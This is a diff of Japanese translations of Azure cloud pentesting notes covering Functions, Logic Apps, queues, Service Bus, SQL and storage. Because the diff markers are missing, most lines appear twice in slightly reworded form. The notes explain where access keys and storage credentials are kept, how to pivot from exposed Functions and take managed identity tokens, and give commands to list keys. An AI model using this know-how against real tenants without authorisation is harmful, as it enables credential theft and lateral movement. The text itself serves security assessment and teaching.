- **年次バックアップ**: 指定された日と時間(例:1月の最初の日曜日の19.30)にバックアップポイントが作成され、1年から10年間保存されます。
- **手動バックアップおよびスナップショットをいつでも実行することも可能です**。バックアップとスナップショットは、この文脈では実際には同じものです。
- **手動バックアップスナップショットをいつでも実行することも可能です**。この文脈では、バックアップとスナップショットは実際には同じです。
### SMB経由でサポートされる認証
@@ -80,17 +80,17 @@ Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -Stor
{{#endtabs}}
> [!NOTE]
> デフォルトでは、`az` cliはアカウントキーを使用してキーに署名し、アクションを実行します。Entra IDプリンシパルの権限を使用するには、`--auth-mode login --enable-file-backup-request-intent`パラメータを使用してください。
> デフォルトでは、`az` cliはアカウントキーを使用してキーに署名し、アクションを実行します。Entra IDプリンシパルの権限を使用するには、パラメータ`--auth-mode login --enable-file-backup-request-intent`を使用してください。
> [!TIP]
> 使用するアカウントキーを示すには、`--account-key`パラメータを使用します\
> SASトークンを使用してアクセスするには、SASトークンと共に`--sas-token`パラメータを使用します
> 使用するアカウントキーを示すには、パラメータ`--account-key`を使用します\
> SASトークンを使用してアクセスするには、SASトークンと共にパラメータ`--sas-token`を使用します
### 接続
これらは、執筆時Azureが提案したファイル共有に接続するためのスクリプトです:
これらは、執筆時点でAzureが提案するファイル共有に接続するためのスクリプトです:
`<STORAGE-ACCOUNT>``<ACCESS-KEY>`、および`<FILE-SHARE-NAME>`プレースホルダーを置き換える必要があります。
`<STORAGE-ACCOUNT>``<ACCESS-KEY>`、および`<FILE-SHARE-NAME>`プレースホルダーを置き換える必要があります。
{{#tabs}}
{{#tab name="Windows"}}
@@ -4,22 +4,22 @@
## 基本情報
**Azure Function Apps****サーバーレスコンピューティングサービス**であり、基盤となるインフラストラクチャを管理することなく、**関数**と呼ばれる小さなコードの断片を実行することを可能にします。これらは、**HTTPリクエスト、タイマー、またはBlob StorageやEvent Hubsなどの他のAzureサービスからのイベント**など、さまざまなトリガーに応じてコードを実行するように設計されています。Function AppsはC#、Python、JavaScript、Javaなど複数のプログラミング言語をサポートしており、**イベント駆動型アプリケーション**の構築、ワークフローの自動化、サービスの統合に柔軟性を提供します。通常、コードが実行されるときに使用されたコンピューティング時間に対してのみ支払うため、コスト効率が高いです。
**Azure Function Apps** **サーバーレスコンピューティングサービス** であり、基盤となるインフラストラクチャを管理することなく、**関数**と呼ばれる小さなコードの断片を実行することを可能にします。これらは、**HTTPリクエスト、タイマー、またはBlob StorageやEvent Hubsなどの他のAzureサービスからのイベント**など、さまざまなトリガーに応じてコードを実行するように設計されています。Function AppsはC#、Python、JavaScript、Javaなど複数のプログラミング言語をサポートしており、**イベント駆動型アプリケーション**の構築、ワークフローの自動化、サービスの統合に適しています。通常、コードが実行されるときに使用されたコンピューティング時間に対してのみ支払うため、コスト効率が高いです。
> [!NOTE]
> **FunctionsはApp Servicesのサブセット**であるため、ここで説明される多くの機能はAzure Appscliでは`webapp`)として作成されたアプリケーションでも使用されます。
> **FunctionsはApp Servicesのサブセット**であるため、ここで説明される多くの機能はAzure Appscliでは`webapp`)として作成されたアプリケーションでも使用されます。
### 異なるプラン
- **Flex Consumption Plan**: **動的でイベント駆動型のスケーリング**を提供し、需要に応じて関数インスタンスを追加または削除する従量課金制です。**仮想ネットワーキング**と**事前プロビジョニングされたインスタンス**をサポートし、コールドスタートを減少させ、コンテナサポートを必要としない**変動するワークロード**に適しています。
- **Traditional Consumption Plan**: デフォルトのサーバーレスオプションで、**関数が実行されるときのみコンピューティングリソースに対して支払います**。受信イベントに基づいて自動的にスケールし、**コールドスタートの最適化**が含まれていますが、コンテナデプロイメントはサポートしていません。自動スケーリングを必要とする**断続的なワークロード**に最適です。
- **Premium Plan**: **一貫したパフォーマンス**を提供するように設計されており、コールドスタートを排除するための**事前ウォームされたワーカー**を備えています。**拡張実行時間、仮想ネットワーキング**を提供し、**カスタムLinuxイメージ**をサポートしており、高パフォーマンスと高度な機能を必要とする**ミッションクリティカルなアプリケーション**に最適です。
- **Traditional Consumption Plan**: デフォルトのサーバーレスオプションで、関数が実行されるときのみ**コンピューティングリソースに対して支払います**。受信イベントに基づいて自動的にスケールし、**コールドスタートの最適化**が含まれていますが、コンテナデプロイメントはサポートしていません。自動スケーリングを必要とする**断続的なワークロード**に最適です。
- **Premium Plan**: **一貫したパフォーマンス**を提供するように設計されており、コールドスタートを排除するための**事前ウォームアップされたワーカー**を備えています。**拡張実行時間、仮想ネットワーキング**を提供し、**カスタムLinuxイメージ**をサポートしており、高パフォーマンスと高度な機能を必要とする**ミッションクリティカルなアプリケーション**に最適です。
- **Dedicated Plan**: 専用の仮想マシン上で実行され、**予測可能な請求**を提供し、手動または自動スケーリングをサポートします。同じプランで複数のアプリを実行でき、**コンピューティングの隔離**を提供し、App Service Environmentsを介して**安全なネットワークアクセス**を確保し、一貫したリソース割り当てを必要とする**長時間実行されるアプリケーション**に最適です。
- **Container Apps**: **コンテナ化された関数アプリ**を管理された環境でデプロイすることを可能にし、マイクロサービスやAPIと共に使用できます。カスタムライブラリ、レガシーアプリの移行、**GPU処理**をサポートし、Kubernetesクラスターの管理を排除します。**イベント駆動型でスケーラブルなコンテナ化されたアプリケーション**に最適です。
- **Container Apps**: **コンテナ化された関数アプリ**を管理された環境でデプロイでき、マイクロサービスやAPIと共に使用できます。カスタムライブラリ、レガシーアプリの移行、**GPU処理**をサポートし、Kubernetesクラスターの管理を排除します。**イベント駆動型でスケーラブルなコンテナ化されたアプリケーション**に最適です。
### **ストレージバケット**
新しいFunction Appをコンテナ化せずに作成する際、**コードとその他のFunction関連データはストレージアカウントに保存されます**。デフォルトでは、Webコンソールはコードを保存するために関数ごとに新しいものを作成します。
コンテナ化されていない新しいFunction Appを作成する際、**コードとその他のFunction関連データはストレージアカウントに保存されます**。デフォルトでは、Webコンソールはコードを保存するために関数ごとに新しいものを作成します。
さらに、バケット内のコードを変更すると(保存されるさまざまな形式で)、**アプリのコードは新しいものに変更され、次回Functionが呼び出されると実行されます**。
@@ -28,37 +28,37 @@
>
> これについては**権限昇格セクション**で詳しく説明します。
ストレージアカウント内のコンテナ**`azure-webjobs-secrets`**に、フォルダ**`<app-name>`**内のJSONファイルに保存されている**マスターキーと関数キー**を見つけることも可能です。
ストレージアカウント内のコンテナ **`azure-webjobs-secrets`** に、フォルダ **`<app-name>`** 内のJSONファイルに保存されている**マスターキーと関数キー**を見つけることも可能です。
Functionsは、コードをリモートの場所に保存することも可能で、URLを指定するだけで済みます。
Functionsは、URLを指定するだけでリモートの場所にコードを保存することも可能です。
### ネットワーキング
HTTPトリガーを使用する場合:
- **インターネットから関数へのアクセスを認証なしで提供する**ことが可能であり、IAMベースのアクセスを提供することもできます。ただし、このアクセスを制限することも可能です。
- **内部ネットワーク(VPC**からFunction Appへのアクセスを**付与または制限する**ことも可能です。
- **インターネットから関数へのアクセスを提供する**ことが可能で、認証を必要とせず、IAMベースのアクセスを提供することもできます。ただし、このアクセスを制限することも可能です。
- **内部ネットワーク(VPC**からFunction Appへのアクセスを**提供または制限する**ことも可能です。
> [!CAUTION]
> これは攻撃者の視点から非常に興味深いものであり、インターネットに公開された脆弱なFunctionから**内部ネットワークにピボットする**ことが可能かもしれません。
### **Function Appの設定と環境変数**
アプリ内で環境変数を設定することが可能で、これには機密情報が含まれる場合があります。さらに、デフォルトで環境変数**`AzureWebJobsStorage`**と**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(他にもいくつか)が作成されます。これらは特に興味深いもので、**アプリケーションのデータを含むストレージアカウントを完全に制御するためのアカウントキーを含んでいます**。これらの設定は、ストレージアカウントからコードを実行するためにも必要です。
アプリ内で環境変数を設定することが可能で、これには機密情報が含まれる場合があります。さらに、デフォルトで環境変数 **`AzureWebJobsStorage`****`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(他にもいくつか)が作成されます。これらは特に興味深いもので、**アプリケーションのデータを含むストレージアカウントを完全に制御するためのアカウントキーを含んでいます**。これらの設定は、ストレージアカウントからコードを実行するためにも必要です。
これらの環境変数や設定パラメータは、Functionがコードを実行する方法も制御します。たとえば、**`WEBSITE_RUN_FROM_PACKAGE`**が存在する場合、アプリケーションのコードがあるURLを示します。
これらの環境変数や設定パラメータは、Functionがコードを実行する方法も制御します。たとえば、**`WEBSITE_RUN_FROM_PACKAGE`** が存在する場合、アプリケーションのコードがあるURLを示します。
### **Function Sandbox**
Linuxサンドボックス内では、ソースコードは**`/home/site/wwwroot`**にあり、ファイル**`function_app.py`**(Pythonを使用している場合)に格納されています。コードを実行するユーザーは**`app`**sudo権限なし)です
Linuxサンドボックス内では、ソースコードは **`/home/site/wwwroot`** にあり、ファイル **`function_app.py`**(Pythonを使用している場合)に格納されています。コードを実行するユーザーは **`app`** で、sudo権限はありません
**Windows**関数でNodeJSを使用している場合、コードは**`C:\home\site\wwwroot\HttpTrigger1\index.js`**にあり、ユーザー名は**`mawsFnPlaceholder8_f_v4_node_20_x86`**で、**グループ**には`Mandatory Label\High Mandatory Level Label``Everyone``BUILTIN\Users``NT AUTHORITY\INTERACTIVE``CONSOLE LOGON``NT AUTHORITY\Authenticated Users``NT AUTHORITY\This Organization``BUILTIN\IIS_IUSRS``LOCAL``10-30-4-99\Dwas Site Users`が含まれていました。
**Windows**関数でNodeJSを使用している場合、コードは **`C:\home\site\wwwroot\HttpTrigger1\index.js`** にあり、ユーザー名は **`mawsFnPlaceholder8_f_v4_node_20_x86`** で、**グループ**には `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users` が含まれていました。
### **管理されたIDとメタデータ**
[**VMs**](vms/)と同様に、Functionsは**2種類の管理されたID**を持つことができます:システム割り当てとユーザー割り当て。
[**VMs**](vms/)と同様に、Functionsは2種類の**管理されたID**を持つことができます:システム割り当てとユーザー割り当て。
**システム割り当て**のものは、**そのIDが割り当てられた関数のみが使用できる管理されたID**です。一方、**ユーザー割り当て**の管理されたIDは、**他のAzureサービスが使用できる管理されたID**です。
**システム割り当て**のものは、**その関数**に割り当てられた管理されたIDであり、他のAzureサービスは使用できません。一方、**ユーザー割り当て**の管理されたIDは、**他のAzureサービスが使用できる管理されたID**です。
> [!NOTE]
> [**VMs**](vms/)と同様に、Functionsは**1つのシステム割り当て**の管理されたIDと**複数のユーザー割り当て**の管理されたIDを持つことができるため、関数を妥協した場合は、すべての管理されたIDを見つけることが常に重要です。1つのFunctionから複数の管理されたIDに権限を昇格させることができるかもしれません。
@@ -69,25 +69,25 @@ Linuxサンドボックス内では、ソースコードは**`/home/site/wwwroot
{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm" %}
関数に添付され**すべての管理されたIDを確認する方法を見つける**必要があることに注意してください。指定しない場合、メタデータエンドポイントは**デフォルトのもののみを使用します**(詳細については前のリンクを参照してください)。
関数に添付されている**すべての管理されたIDを確認する方法を見つける**必要があることに注意してください。指定しない場合、メタデータエンドポイントは**デフォルトのもののみを使用します**(詳細については前のリンクを確認してください)。
## アクセスキー
> [!NOTE]
> ユーザーに関数を呼び出すアクセスを付与するためのRBAC権限はありません。**関数の呼び出しは、作成時に選択されたトリガーに依存します**。HTTPトリガーが選択された場合、**アクセスキー**を使用する必要があるかもしれません。
> ユーザーに関数を呼び出すアクセスを与えるためのRBAC権限はありません。**関数の呼び出しは、作成時に選択されたトリガーに依存します**。HTTPトリガーが選択された場合、**アクセスキー**を使用する必要があるかもしれません。
HTTPトリガーを使用して関数内にエンドポイントを作成する際、関数をトリガーするために必要な**アクセスキーの認証レベル**を指定することが可能です。3つのオプションあります:
HTTPトリガーを使用して関数内にエンドポイントを作成する際、関数をトリガーするために必要な**アクセスキーの認証レベル**を指定することが可能です。利用可能なオプションは3つあります:
- **ANONYMOUS**: **誰でも**URLを通じて関数にアクセスできます。
- **FUNCTION**: エンドポイントは**関数、ホスト、またはマスターキー**を使用するユーザーのみがアクセスできます。
- **ADMIN**: エンドポイントは**マスターキー**を持つユーザーのみがアクセスできます。
- **FUNCTION**: エンドポイントは**関数、ホスト、またはマスターキー**を使用するユーザーのみがアクセスできます。
- **ADMIN**: エンドポイントは**マスターキー**を持つユーザーのみがアクセスできます。
**キーの種類:**
- **関数キー**: 関数キーはデフォルトまたはユーザー定義のいずれかであり、Function App内の**特定の関数エンドポイント**へのアクセスを独占的に付与するように設計されています。
- **ホストキー**: ホストキーもデフォルトまたはユーザー定義のいずれかであり、**FUNCTIONアクセスレベル**を持つFunction App内の**すべての関数エンドポイント**へのアクセスを提供します。
- **マスターキー**: マスターキー(`_master`)は、すべての関数エンドポイントへのアクセスを提供する管理キーでありADMINアクセスレベルを含む)、この**キーは取り消すことができません**。
- **システムキー**: システムキーは**特定の拡張機能によって管理され**、内部コンポーネントによって使用されるWebhookエンドポイントにアクセスするために必要です。例としては、Event GridトリガーやDurable Functionsがあり、これらはそれぞれのAPIと安全に対話するためにシステムキーを利用します。
- **マスターキー**: マスターキー(`_master`)は、すべての関数エンドポイントへのアクセスを含む管理キーであり、権限が昇格されます。この**キーは取り消すことができません**。
- **システムキー**: システムキーは**特定の拡張機能によって管理され**、内部コンポーネントによって使用されるWebhookエンドポイントにアクセスするために必要です。例としては、Event GridトリガーやDurable Functionsがあり、システムキーを使用してそれぞれのAPIと安全に対話します。
> [!TIP]
> キーを使用して関数APIエンドポイントにアクセスする例:
@@ -96,7 +96,7 @@ HTTPトリガーを使用して関数内にエンドポイントを作成する
### 基本認証
App Servicesと同様に、Functionsも**SCM**および**FTP**に接続してコードをデプロイするための基本認証をサポートしています。これは、Azureが提供する**ユーザー名とパスワードを含むURL**を使用します。詳細については:
App Servicesと同様に、Functionsも**SCM**および**FTP**に接続してコードをデプロイするための基本認証をサポートしています。これは、Azureが提供する**ユーザー名とパスワードを含むURL**を使用します。詳細については以下を参照してください
{{#ref}}
az-app-service.md
@@ -192,14 +192,14 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
```
</details>
さらに、**Managed Identity**も作成されるため、リポジトリからのGithub Actionはそれを使用してAzureにログインできます。これは、**Managed Identity**上にフェデレーテッド資格情報を生成すること行われ、**Issuer** `https://token.actions.githubusercontent.com`**Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>` が許可されます。
さらに、**Managed Identity**も作成されるため、リポジトリからのGithub Actionはそれを使用してAzureにログインできるようになります。これは、**Managed Identity**上にフェデレーテッド資格情報を生成することによって行われ、**Issuer** `https://token.actions.githubusercontent.com`**Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>` が許可されます。
> [!CAUTION]
> したがって、そのリポジトリを侵害した者は、関数およびそれに関連付けられたManaged Identitiesを侵害することができます。
### コンテナベースのデプロイメント
すべてのプランがコンテナのデプロイを許可しているわけではありませんが、許可されているプランでは、構成にコンテナのURLが含まれます。APIでは、**`linuxFxVersion`**設定は次のようになります: `DOCKER|mcr.microsoft.com/...`、一方、ウェブコンソールでは、構成に**イメージ設定**が表示されます。
すべてのプランがコンテナのデプロイを許可しているわけではありませんが、許可されているプランでは、構成にコンテナのURLが含まれます。APIでは、**`linuxFxVersion`**設定は次のようになります: `DOCKER|mcr.microsoft.com/...`、一方、ウェブコンソールでは、構成に**image settings**が表示されます。
さらに、**ソースコードは関数に関連するストレージ**アカウントに保存されません。必要ないためです。
@@ -4,14 +4,14 @@
## 基本情報
Azure Logic Appsは、Microsoft Azureが提供するクラウドベースのサービスで、開発者が**さまざまなサービス、データソース、アプリケーションを統合するワークフローを作成および実行**できるようにします。これらのワークフローは、**ビジネスプロセスを自動化**し、タスクを調整し、異なるプラットフォーム間でデータ統合を実行するように設計されています。
Azure Logic Appsは、Microsoft Azureが提供するクラウドベースのサービスで、開発者が**さまざまなサービス**、データソース、およびアプリケーションを統合するワークフローを**作成および実行**できるようにします。これらのワークフローは、**ビジネスプロセスを自動化**し、タスクを調整し、異なるプラットフォーム間でデータ統合を実行するように設計されています。
Logic Appsは、**幅広い事前構築されたコネクタ**を使用してワークフローを作成するためのビジュアルデザイナーを提供しており、Office 365、Dynamics CRM、Salesforceなどのさまざまなサービスに簡単に接続して対話できます。また、特定のニーズに合わせたカスタムコネクタを作成することもできます。
### 例
- **データパイプラインの自動化**: Logic Appsは、Azure Data Factoryと組み合わせて**データ転送および変換プロセスを自動化**できます。これは、Azure SQL DatabaseやAzure Blob Storageなどのさまざまなデータストア間でデータを移動および変換するスケーラブルで信頼性の高いデータパイプラインを作成するのに役立ち、分析およびビジネスインテリジェンス操作を支援します。
- **Azure Functionsとの統合**: Logic Appsは、Azure Functionsと連携して**必要に応じてスケールする洗練されたイベント駆動型アプリケーションを開発**し、他のAzureサービスとシームレスに統合できます。使用例としては、Logic Appを使用して、Azure Storageアカウントの変更などの特定のイベントに応じてAzure Functionをトリガー、動的なデータ処理を可能にすることが挙げられます。
- **データパイプラインの自動化**: Logic Appsは、Azure Data Factoryと組み合わせて**データ転送および変換プロセス**を自動化できます。これは、Azure SQL DatabaseやAzure Blob Storageなどのさまざまなデータストア間でデータを移動および変換するスケーラブルで信頼性の高いデータパイプラインを作成するのに役立ち、分析およびビジネスインテリジェンス操作を支援します。
- **Azure Functionsとの統合**: Logic Appsは、Azure Functionsと連携して**必要に応じてスケールする洗練されたイベント駆動型アプリケーションを開発**し、他のAzureサービスとシームレスに統合できます。使用例としては、Logic Appを使用して、Azure Storageアカウントの変更などの特定のイベントに応じてAzure Functionをトリガーすることが挙げられ、動的なデータ処理を可能にます。
### LogicAPPの可視化
@@ -23,7 +23,7 @@ Logic Appsは、**幅広い事前構築されたコネクタ**を使用してワ
### SSRF保護
たとえ**Logic AppがSSRFに対して脆弱である**ことがわかっても、Logic Appsはそれを許可しないため、メタデータから資格情報にアクセスすることはできません。
たとえ**Logic AppがSSRFに対して脆弱であっても**、Logic Appsはそれを許可しないため、メタデータから資格情報にアクセスすることはできません。
たとえば、次のようなものはトークンを返しません:
```bash
@@ -1,10 +1,10 @@
# Az - Management Groups, Subscriptions & Resource Groups
# Az - 管理グループ、サブスクリプション & リソースグループ
{{#include ../../../banners/hacktricks-training.md}}
## 管理グループ
管理グループに関する詳細情報は以下で確認できます:
管理グループに関する詳細情報は以下で確認できます:
{{#ref}}
../az-basic-information/
@@ -19,7 +19,7 @@ az account management-group show --name <name> --expand --recurse
```
## サブスクリプション
サブスクリプションに関する詳細情報は以下で確認できます:
サブスクリプションに関する詳細情報は次の場所で確認できます:
{{#ref}}
../az-basic-information/
@@ -4,7 +4,7 @@
## 基本情報
Azure Queue Storageは、アプリケーションコンポーネント間のメッセージキューイングのために設計されたMicrosoftのAzureクラウドプラットフォームのサービスです。**非同期通信とデカップリングを可能にします**。無制限の数のメッセージを保存でき、各メッセージのサイズは最大64 KBです。キューの作成と削除、メッセージの追加、取得、更新、削除、メタデータとアクセスポリシーの管理などの操作をサポートしています。通常、メッセージは先入れ先出し(FIFO)方式で処理されますが、厳密なFIFOは保証されていません。
Azure Queue Storageは、アプリケーションコンポーネント間のメッセージキューイングのために設計されたMicrosoftのAzureクラウドプラットフォームのサービスで**非同期通信とデカップリングを可能にします**。無制限の数のメッセージを保存でき、各メッセージのサイズは最大64 KBでキューの作成と削除、メッセージの追加、取得、更新、削除、メタデータとアクセスポリシーの管理などの操作をサポートしています。通常、メッセージは先入れ先出し(FIFO)方式で処理されますが、厳密なFIFOは保証されていません。
### 列挙
@@ -70,7 +70,7 @@ $queueMessage.Value
../az-privilege-escalation/az-queue-privesc.md
{{#endref}}
### ポストエクスプロイテーション
### ポストエクスプロイ
{{#ref}}
../az-post-exploitation/az-queue-post-exploitation.md
@@ -4,11 +4,11 @@
## Service Bus
Azure Service Busは、アプリケーションの異なる部分または別のアプリケーション間の信頼性のある**通信**を可能にするために設計されたクラウドベースの**メッセージングサービス**です。これは、安全な仲介者として機能し、送信者と受信者が同時に操作していなくてもメッセージが安全に配信されることを保証します。システムを分離することで、アプリケーションは独立して動作しながらデータや指示を交換できます。これは、複数のワーカー間での負荷分散、信頼性のあるメッセージ配信、または順序通りのタスク処理やアクセス管理のような複雑な調整が必要なシナリオに特に役立ちます。
Azure Service Busは、アプリケーションの異なる部分や別々のアプリケーション間の信頼性のある**通信を可能にするために設計された**クラウドベースの**メッセージングサービス**です。これは、安全な仲介者として機能し、送信者と受信者が同時に操作していなくてもメッセージが安全に配信されることを保証します。システムを分離することで、アプリケーションは独立して動作しながらデータや指示を交換できます。これは、複数のワーカー間での負荷分散、信頼性のあるメッセージ配信、または順序通りのタスク処理やアクセス管理のような複雑な調整が必要なシナリオに特に役立ちます。
### Key Concepts
1. **キュー:** 受信者が準備できるまでメッセージを保存することを目的としています。
1. **キュー:** 受信者が準備できるまでメッセージを保存することを目的としています。
- メッセージは順序付けられ、タイムスタンプが付けられ、耐久性のあるストレージに保存されます。
- プルモード(オンデマンド取得)で配信されます。
- ポイントツーポイント通信をサポートします。
@@ -83,7 +83,7 @@ az servicebus namespace authorization-rule keys list --resource-group <MyResourc
../az-privilege-escalation/az-servicebus-privesc.md
{{#endref}}
### ポストエクスプロイテーション
### ポストエクスプロイ
{{#ref}}
../az-post-exploitation/az-servicebus-post-exploitation.md
@@ -4,13 +4,13 @@
## Azure SQL
Azure SQLは、**Azureクラウド内のSQL Serverデータベースエンジン**を使用する管理された、安全で、インテリジェントな製品のファミリーです。これにより、サーバーの物理管理を心配する必要がなく、データの管理に集中できます。
Azure SQLは、**Azureクラウド内のSQL Serverデータベースエンジン**を使用する管理された、安全で、インテリジェントな製品のファミリーです。これにより、サーバーの物理管理を心配する必要がなく、データの管理に集中できます。
Azure SQLは、主に3つの提供形態から成り立っています:
1. **Azure SQL Database**: これは**完全管理型データベースサービス**で、Azureクラウド内に個別のデータベースをホストできます。独自のデータベースパターンを学習し、カスタマイズされた推奨事項と自動チューニングを提供する組み込みのインテリジェンスを備えています。
2. **Azure SQL Managed Instance**: これは、より大規模なSQL Serverインスタンススコープの展開向けです。最新のSQL Serverオンプレミス(Enterprise Edition)データベースエンジンとのほぼ100%の互換性を提供し、一般的なセキュリティの懸念に対処するネイティブの仮想ネットワーク(VNet)実装を提供し、オンプレミスSQL Server顧客にとって有利なビジネスモデルを提供します。
3. **Azure SQL Server on Azure VMs**: これはInfrastructure as a ServiceIaaSで、オンプレミスで実行されているサーバーのように**オペレーティングシステムとSQL Serverインスタンスを制御したい**マイグレーションに最適です。
1. **Azure SQL Database**: これは**完全管理型データベースサービス**で、Azureクラウド内に個別のデータベースをホストできます。独自のデータベースパターンを学習し、カスタマイズされた推奨事項と自動調整を提供する組み込みのインテリジェンスを備えています。
2. **Azure SQL Managed Instance**: これは、より大規模なSQL Serverインスタンススコープの展開向けです。最新のSQL Serverオンプレミス(Enterprise Edition)データベースエンジンとのほぼ100%の互換性を提供し、一般的なセキュリティの懸念に対処するネイティブの仮想ネットワーク(VNet)実装、オンプレミスSQL Server顧客に有利なビジネスモデルを提供します。
3. **Azure SQL Server on Azure VMs**: これはInfrastructure as a Service (IaaS)で、オンプレミスで実行されているサーバーのように**オペレーティングシステムとSQL Serverインスタンスを制御したい**マイグレーションに最適です。
### Azure SQL Database
@@ -31,14 +31,14 @@ Azure SQLは、主に3つの提供形態から成り立っています:
#### デプロイメントモデル
Azure SQL Databaseは、さまざまなニーズに応じた柔軟なデプロイメントオプションをサポートしています:
Azure SQL Databaseは、さまざまなニーズに応じた柔軟なデプロイメントオプションをサポートします:
- **シングルデータベース**:
- 専用リソースを持つ完全に孤立したデータベース。
- マイクロサービスや単一のデータソースを必要とするアプリケーションに最適。
- **エラスティックプール**:
- 複数のデータベースがプール内でリソースを共有できる。
- 複数のデータベース間で使用パターンが変動するアプリケーションにコスト効率
- 複数のデータベースにわたる使用パターンが変動するアプリケーションにコスト効率が良い
#### スケーラブルなパフォーマンスとプール
@@ -49,8 +49,8 @@ Azure SQL Databaseは、さまざまなニーズに応じた柔軟なデプロ
#### 組み込みの監視と最適化
- **クエリストア**: パフォーマンスの問題を追跡し、主要なリソース消費を特定し、実行可能な推奨事項を提供します。
- **自動チューニング**: 自動インデックス作成やクエリプラン修正などの機能でパフォーマンスを積極的に最適化します。
- **クエリストア**: パフォーマンスの問題を追跡し、リソース消費の多いものを特定し、実行可能な推奨事項を提供します。
- **自動調整**: 自動インデックス作成やクエリプラン修正などの機能でパフォーマンスを積極的に最適化します。
- **テレメトリー統合**: Azure Monitor、Event Hubs、またはAzure Storageを通じて監視をサポートし、カスタマイズされたインサイトを提供します。
#### 災害復旧と可用性
@@ -62,7 +62,7 @@ Azure SQL Databaseは、さまざまなニーズに応じた柔軟なデプロ
### Azure SQL Managed Instance
**Azure SQL Managed Instance**は、SQL Serverとのほぼ100%の互換性を提供し、ほとんどの管理タスク(例:アップグレード、パッチ適用、バックアップ、監視)を自動的に処理するプラットフォームとしてのサービス(PaaS)データベースエンジンです。最小限の変更でオンプレミスSQL Serverデータベースを移行するためのクラウドソリューションを提供します。
**Azure SQL Managed Instance**は、SQL Serverとのほぼ100%の互換性を提供し、ほとんどの管理タスク(例:アップグレード、パッチ適用、バックアップ、監視)を自動的に処理するプラットフォームとしてのサービス(PaaS)データベースエンジンです。最小限の変更でオンプレミスSQL Serverデータベースを移行するためのクラウドソリューションを提供します。
#### サービスタイア
@@ -71,27 +71,27 @@ Azure SQL Databaseは、さまざまなニーズに応じた柔軟なデプロ
#### 高度なセキュリティ機能
* **脅威保護**: 疑わしい活動やSQLインジェクション攻撃に対する高度な脅威保護アラート。コンプライアンスのためのデータベースイベント追跡とログ記録
* **脅威保護**: 疑わしい活動やSQLインジェクション攻撃に対する高度な脅威保護アラート。コンプライアンスのためのデータベースイベント追跡およびログする監査
* **アクセス制御**: 中央集権的なアイデンティティ管理のためのMicrosoft Entra認証。細かいアクセス制御のための行レベルセキュリティと動的データマスキング。
* **バックアップ**: ポイントインタイムリストア機能を持つ自動および手動バックアップ。
* **バックアップ**: ポイントインタイムリストア機能を持つ自動および手動バックアップ。
### Azure SQL Virtual Machines
**Azure SQL Virtual Machines**は、オンプレミスで実行されているサーバーのように**オペレーティングシステムとSQL Serverインスタンスを制御したい**マイグレーションに最適です。異なるマシンサイズや、さまざまなSQL Serverバージョンとエディションを選択できます。
**Azure SQL Virtual Machines**は、オンプレミスで実行されているサーバーのように**オペレーティングシステムとSQL Serverインスタンスを制御したい**マイグレーションに最適です。異なるマシンサイズや幅広いSQL Serverバージョンとエディションを持つことができます。
#### 主な機能
**自動バックアップ**: SQLデータベースのバックアップをスケジュールします。
**自動パッチ適用**: メンテナンスウィンドウ中にWindowsおよびSQL Serverの更新を自動的にインストールします。
**Azure Key Vault統合**: SQL Server VMのためにKey Vaultを自動的に構成します。
**Defender for Cloud統合**: ポータルでSQLの推奨事項を表示します。
**バージョン/エディションの柔軟性**: VMを再デプロイすることなくSQL Serverのバージョンまたはエディションのメタデータを変更できます。
**Defender for Cloud統合**: ポータルでDefender for SQLの推奨事項を表示します。
**バージョン/エディションの柔軟性**: VMを再デプロイすることなくSQL Serverのバージョンまたはエディションのメタデータを変更ます。
#### セキュリティ機能
**Microsoft Defender for SQL**: セキュリティインサイトとアラート。
**Azure Key Vault統合**: 認証情報と暗号化キーの安全な保管。
**Microsoft EntraAzure AD**: 認証とアクセス制御。
**Microsoft Entra (Azure AD)**: 認証とアクセス制御。
## Enumeration
@@ -227,7 +227,7 @@ $Connection.Close()
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
```
データベースにアクセスするためにsqlcmdを使用することもできます。サーバーがパブリック接続を許可しているかどうかを確認することが重要です `az sql server show --name <server-name> --resource-group <resource-group>`、また、ファイアウォールルールが私たちのIPのアクセスを許可しているかどうかも確認する必要があります
データベースにアクセスするためにsqlcmdを使用することもできます。サーバーがパブリック接続を許可しているかどうかを確認することが重要です `az sql server show --name <server-name> --resource-group <resource-group>`、また、ファイアウォールルールが私たちのIPのアクセスを許可しているかどうかも確認する必要があります
```powershell
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
```
@@ -244,7 +244,7 @@ sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passwork
../az-privilege-escalation/az-sql-privesc.md
{{#endref}}
## ポストエクスプロイ
## ポストエクスプロイテーション
{{#ref}}
../az-post-exploitation/az-sql-post-exploitation.md
@@ -4,7 +4,7 @@
## 基本情報
Azureストレージアカウントは、Microsoft Azureの基本的なサービスであり、スケーラブルで安全かつ高可用性のあるクラウド**ストレージをさまざまなデータタイプ**に提供します。これには、Blob(バイナリ大オブジェクト)、ファイル、キュー、テーブルが含まれます。これらは、簡単な管理のために単一の名前空間の下で異なるストレージサービスをグループ化するコンテナとして機能します。
Azure Storage Accountsは、Microsoft Azureの基本的なサービスで、スケーラブルで安全かつ高可用性のあるクラウド**ストレージをさまざまなデータタイプ**に提供します。これには、Blob(バイナリ大オブジェクト)、ファイル、キュー、テーブルが含まれます。これらは、簡単な管理のために単一の名前空間の下で異なるストレージサービスをグループ化するコンテナとして機能します。
**主な構成オプション**:
@@ -19,7 +19,7 @@ Azureストレージアカウントは、Microsoft Azureの基本的なサービ
- **個別のコンテナでの匿名アクセスを有効にすることを許可**: そうでない場合、将来的に匿名アクセスを有効にすることはできません。
- **ストレージアカウントキーアクセスを有効にする**: そうでない場合、共有キーによるアクセスは禁じられます。
- **最小TLSバージョン**
